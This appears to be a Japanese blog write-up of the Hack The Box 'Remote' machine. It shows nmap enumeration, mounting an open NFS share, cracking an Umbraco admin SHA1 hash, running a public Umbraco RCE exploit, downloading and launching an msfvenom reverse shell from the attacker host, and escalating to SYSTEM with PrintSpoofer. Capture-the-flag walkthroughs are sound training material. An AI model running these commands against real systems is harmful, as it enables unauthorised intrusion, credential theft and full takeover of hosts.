HTB: Remote Writeup

Hack The Box: Remoteのwriteup。

nmapのスキャン結果を待っている間、ブラウザで標的マシンにアクセスしたところ、ウェブサイトが表示された。

で、Contactタブ -> GO TO BACK OFFICE AND INSTALL FORMS ボタンをクリックしたところ、Umbracoのログインページ http://10.129.230.172/umbraco/#/login/false?returnPath=%252Fformsへと遷移した。

そうこうしているうちにnmapのスキャンが完了した。

└─$ nmap -Pn -A $RHOST -oG general-portscan.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-28 07:58 EST
Nmap scan report for 10.129.230.172
Host is up (0.47s latency).
Not shown: 993 closed tcp ports (conn-refused)
PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|_  SYST: Windows_NT
80/tcp   open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Home - Acme Widgets
111/tcp  open  rpcbind?
| rpcinfo: 
|   program version    port/proto  service
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|_  100003  2,3,4       2049/tcp6  nfs
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
2049/tcp open  nfs           2-4 (RPC #100003)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2024-12-28T14:00:35
|_  start_date: N/A
|_clock-skew: 59m59s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 494.12 seconds

まず目についたのは21番ポート (FTP)だった。anonymousユーザーとしてFTPサービスに接続できたが、ファイルやディレクトリなど、見るべきものが何もなかった。

└─$ ftp $RHOST          
Connected to 10.129.230.172.
220 Microsoft FTP Service
Name (10.129.230.172:kali): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||49687|)
125 Data connection already open; Transfer starting.
226 Transfer complete.
ftp> dir
229 Entering Extended Passive Mode (|||49688|)
125 Data connection already open; Transfer starting.
226 Transfer complete.
ftp> ls -la
229 Entering Extended Passive Mode (|||49689|)
150 Opening ASCII mode data connection.
226 Transfer complete.
ftp> pwd
Remote directory: /
ftp> 

続いて目を引いたのが2049番ポート (NFS)である。

showmountコマンドで確認したところ、/site_backupsというフォルダを発見。(コマンドはこちらを参考にした。)

└─$ showmount -e $RHOST
Export list for 10.129.230.172:
/site_backups (everyone)

さっそく、ローカルに/mnt/HTB_Remoteというディレクトリを用意して、/site_backupsをマウントしてみた。

sudo mkdir /mnt/HTB_Remote
sudo mount -t nfs $RHOST:/site_backups /mnt/HTB_Remote -o nolock

└─$ ls -la /mnt/HTB_Remote 
total 123
drwx------ 2 nobody nogroup  4096 Feb 23  2020 .
drwxr-xr-x 3 root   root     4096 Dec 28 08:20 ..
drwx------ 2 nobody nogroup    64 Feb 20  2020 App_Browsers
drwx------ 2 nobody nogroup  4096 Feb 20  2020 App_Data
drwx------ 2 nobody nogroup  4096 Feb 20  2020 App_Plugins
drwx------ 2 nobody nogroup    64 Feb 20  2020 aspnet_client
drwx------ 2 nobody nogroup 49152 Feb 20  2020 bin
drwx------ 2 nobody nogroup  8192 Feb 20  2020 Config
drwx------ 2 nobody nogroup    64 Feb 20  2020 css
-rwx------ 1 nobody nogroup   152 Nov  1  2018 default.aspx
-rwx------ 1 nobody nogroup    89 Nov  1  2018 Global.asax
drwx------ 2 nobody nogroup  4096 Feb 20  2020 Media
drwx------ 2 nobody nogroup    64 Feb 20  2020 scripts
drwx------ 2 nobody nogroup  8192 Feb 20  2020 Umbraco
drwx------ 2 nobody nogroup  4096 Feb 20  2020 Umbraco_Client
drwx------ 2 nobody nogroup  4096 Feb 20  2020 Views
-rwx------ 1 nobody nogroup 28539 Feb 20  2020 Web.config

FTPの時とは異なり、こちらはちゃんと見るべきデータがある模様。恐らく、この中から先述したUmbracoのログイン認証情報を窃取するのであろう。

調べているうちにApp_Dataの中にUmbraco.sdfというファイルを発見した。どうやらUmbraco.sdfというのはUmbracoのデータベースファイルらしい。ファイルをstringsにかけたところ、adminのパスワードハッシュ値らしきものを見つけた。

Administratoradminb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}en-USf8512f97-cab1-4a4b-a49f-0a2054c47a1d
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-USfeb1a998-d3bf-406a-b30b-e269d7abdf50
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-US82756c26-4321-4d27-b429-1b5c7c4f882f
smithsmith@htb.localjxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts={"hashAlgorithm":"HMACSHA256"}smith@htb.localen-US7e39df83-5e64-4b93-9702-ae257a9b9749-a054-27463ae58b8e
ssmithsmith@htb.localjxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts={"hashAlgorithm":"HMACSHA256"}smith@htb.localen-US7e39df83-5e64-4b93-9702-ae257a9b9749
ssmithssmith@htb.local8+xXICbPe7m5NQ22HfcGlg==RF9OLinww9rd2PmaKUpLteR6vesD2MtFaBKe1zL5SXA={"hashAlgorithm":"HMACSHA256"}ssmith@htb.localen-US3628acfb-a62c-4ab0-93f7-5ee9724c8d32

SHA1ハッシュ値b8be16afba8c314ad33d812f22a04991b90e2aaaをクラックしたところ、baconandcheeseというパスワードが現れた。

hashcat -m 100 b8be16afba8c314ad33d812f22a04991b90e2aaa /usr/share/wordlists/rockyou.txt

b8be16afba8c314ad33d812f22a04991b90e2aaa:baconandcheese   
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 100 (SHA1)
Hash.Target......: b8be16afba8c314ad33d812f22a04991b90e2aaa
Time.Started.....: Sat Dec 28 08:56:04 2024 (10 secs)
Time.Estimated...: Sat Dec 28 08:56:14 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1012.5 kH/s (0.21ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 9824256/14344385 (68.49%)
Rejected.........: 0/9824256 (0.00%)
Restore.Point....: 9822208/14344385 (68.47%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: badboi56 -> bacninh_kc
Hardware.Mon.#1..: Util: 41%

Started: Sat Dec 28 08:55:49 2024
Stopped: Sat Dec 28 08:56:15 2024

admin@htb.local:baconandcheeseでUmbracoの管理ページにログインできた。

管理ページより、Umbracoのバージョンは7.12.4と判明。このバージョンには遠隔コード実行の脆弱性があるので、これを突けば標的マシンに初期侵入できそうである。

searchsploitでエクスプロイトコードをコピー。

searchsploit umbraco
searchsploit -m aspx/webapps/49488.py

エクスプロイトを実行。

└─$ python 49488.py -u admin@htb.local -p baconandcheese -i http://$RHOST -c 'ipconfig'  

Windows IP Configuration


Ethernet adapter Ethernet0 2:

   Connection-specific DNS Suffix  . : .htb
   IPv6 Address. . . . . . . . . . . : dead:beef::32
   IPv6 Address. . . . . . . . . . . : dead:beef::f0d5:9459:a665:f822
   Link-local IPv6 Address . . . . . : fe80::f0d5:9459:a665:f822%12
   IPv4 Address. . . . . . . . . . . : 10.129.230.172
   Subnet Mask . . . . . . . . . . . : 255.255.0.0
   Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:cc99%12
                                       10.129.0.1

└─$ python3 49488.py -u admin@htb.local -p baconandcheese -i http://$RHOST -c 'whoami'
iis apppool\defaultapppool

└─$ python3 49488.py -u admin@htb.local -p baconandcheese -i http://$RHOST -c 'whoami' -a '/priv'

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

ipconfigwhoamiコマンドの実行に成功しているのが分かる。

より対話的にコマンドを実行したいので、リバースシェルを仕込むことにした。

攻撃マシンにてリバースシェルを作成し、HTTPサーバーを起動。

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.174 LPORT=53 -f exe > shell64-nonstaged.exe
python3 -m http.server 80

標的マシンにリバースシェルを仕込む。

python3 49488.py -u admin@htb.local -p baconandcheese -i http://$RHOST  -c 'curl' -a 'http://10.10.16.174/shell64-nonstaged.exe -o c:\\windows\\temp\\shell64-nonstaged.exe'

攻撃マシンにてポートを待ち受け状態にする。

rlwrap nc -nvlp 53

標的マシンから攻撃マシンへシェルを張る。

python3 49488.py -u admin@htb.local -p baconandcheese -i http://$RHOST -c 'powershell' -a 'start-process -filepath c:\\windows\\temp\\shell64-nonstaged.exe'

攻撃マシンにてシェルが起動した。

└─$ rlwrap nc -nvlp 53 
listening on [any] 53 ...
connect to [10.10.16.174] from (UNKNOWN) [10.129.230.172] 49704
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\windows\system32\inetsrv>hostname
hostname
remote

C:\Users\Public\Desktopにてuser.txtを発見。

PS C:\Users> Get-ChildItem -Path C:\ -Include user.txt -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\ -Include user.txt -File -Recurse -ErrorAction SilentlyContinue


    Directory: C:\Users\Public\Desktop


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-ar---       12/28/2024   8:57 AM             34 user.txt 

あとは権限昇格してrootのフラグを取るだけである。

ユーザーの権限レベルを確認したところ、SeImpersonatePrivilegeが有効化されていた。

c:\Users>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

PrintSpooferであっさり権限昇格できた。
c:\Users\Administrator\Desktopにてroot.txtを発見。

cd c:\windows\temp
curl http://10.10.16.174/PrintSpoofer.exe -o PrintSpoofer.exe
PrintSpoofer.exe -i -c cmd

c:\Windows\Temp>PrintSpoofer.exe -i -c cmd
PrintSpoofer.exe -i -c cmd
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>cd c:\users\administrator\desktop
cd c:\users\administrator\desktop

c:\Users\Administrator\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is D582-9880

 Directory of c:\Users\Administrator\Desktop

02/20/2020  02:41 AM    <DIR>          .
02/20/2020  02:41 AM    <DIR>          ..
12/28/2024  08:57 AM                34 root.txt
               1 File(s)             34 bytes
               2 Dir(s)  13,298,536,448 bytes free

Leave a Reply

Your email address will not be published. Required fields are marked *


The reCAPTCHA verification period has expired. Please reload the page.